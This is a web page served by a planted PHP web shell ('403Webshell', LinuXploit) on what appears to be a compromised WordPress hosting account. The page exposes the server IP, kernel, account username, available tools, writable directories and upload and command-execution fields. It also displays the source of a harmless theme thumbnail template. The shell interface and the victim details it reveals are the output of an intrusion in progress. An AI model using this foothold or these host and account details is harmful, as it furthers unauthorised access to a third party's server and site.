403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/novablog/post-template/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/novablog/post-template/post-thumb-masonry.php
<?php
if(novablog_getVariable('featured_images') =='featured3') {
}else{
if(!is_singular() && novablog_getVariable('featured_images') =='featured2' || !is_singular() && novablog_getVariable('featured_images') =='featured1') { 
?>
		<?php if(has_post_thumbnail()) { ?>
<figure class="featured-thumbnail thumbnail large">

<?php 
if(has_post_format('video')){
$embed = get_post_meta(get_the_ID(), 'novablog_video_embed', true);
$vimeo = strpos($embed, "vimeo");
	    $youtube = strpos($embed, "youtu");
	if($youtube !== false){	
$video_id = str_replace( 'http://', '', $embed );
	    	$video_id = str_replace( 'https://', '', $video_id );
	        $video_id = str_replace( 'www.youtube.com/watch?v=', '', $video_id );
	        $video_id = str_replace( 'youtube.com/watch?v=', '', $video_id );
	        $video_id = str_replace( 'youtu.be/', '', $video_id );
	        $video_id = str_replace( '&feature=channel', '', $video_id );
			$link = '//www.youtube.com/embed/'.esc_attr($video_id);
			}
if($vimeo !== false){

	        //Get ID from video url
	        $video_id = str_replace( 'http://vimeo.com/', '', $embed );
	        $video_id = str_replace( 'http://www.vimeo.com/', '', $video_id );
			$video_id = str_replace( 'https://vimeo.com/', '', $video_id );
			$link = '//player.vimeo.com/video/'.esc_attr($video_id);
			}
}
$img_url = wp_get_attachment_url( get_post_thumbnail_id());
				
				$img_width = novablog_getVariable('blog_grid_image_width') ? novablog_getVariable('blog_grid_image_width') : 405;
				$img_height = novablog_getVariable('blog_grid_image_height') ? novablog_getVariable('blog_grid_image_height') : 420;
				$img = aq_resize( $img_url, $img_width, $img_height, true, true, true ); 
				?>
				<?php novablog_pinterest_share(); ?>
		<?php if(has_post_format('image')) { 
		$src = wp_get_attachment_image_src( get_post_thumbnail_id(get_the_ID()), 'full', false, '' );
		?>

				<a class="image-popup-no-margins" href="<?php echo esc_url($src[0]); ?>" title="<?php esc_attr(the_title()); ?>">
				<img src="<?php echo esc_url($img); ?>" width="<?php echo esc_attr($img_width); ?>" height="<?php echo esc_attr($img_height); ?>" alt="<?php esc_attr(the_title());?>" > 
				</a>
				
		<?php }else{ ?>

							<?php if(has_post_format('video')){ ?>
								<a class="popup-youtube" href="<?php echo esc_attr($link); ?>" title="<?php esc_attr(the_title()); ?>">
																												<?php if(has_post_format('video')){
echo '<div class="cover-video"></div>';
 }  ?>
								<img src="<?php echo esc_url($img); ?>" width="<?php echo esc_attr($img_width); ?>" height="<?php echo esc_attr($img_height); ?>" alt="<?php esc_attr(the_title());?>" /></a>
								<?php }else{ ?>
								<a href="<?php esc_url(the_permalink()); ?>" title="<?php esc_attr(the_title()); ?>">
								<img src="<?php echo esc_url($img); ?>" width="<?php echo esc_attr($img_width); ?>" height="<?php echo esc_attr($img_height); ?>" alt="<?php esc_attr(the_title());?>" /></a>
								<?php } ?>
				
		<?php } ?>
</figure>
		<?php } ?>

<?php } ?>

<?php if(is_singular() && novablog_getVariable('featured_images') =='featured1') { ?>

	<?php if(has_post_thumbnail()) { ?>
<figure class="featured-thumbnail thumbnail large">
				<?php novablog_pinterest_share(); ?>
				<?php the_post_thumbnail( 'novablog-standard-large' ); ?> 
</figure>
<?php
   }
 } 
}
?>


Youez - 2016 - github.com/yon3zu
LinuXploit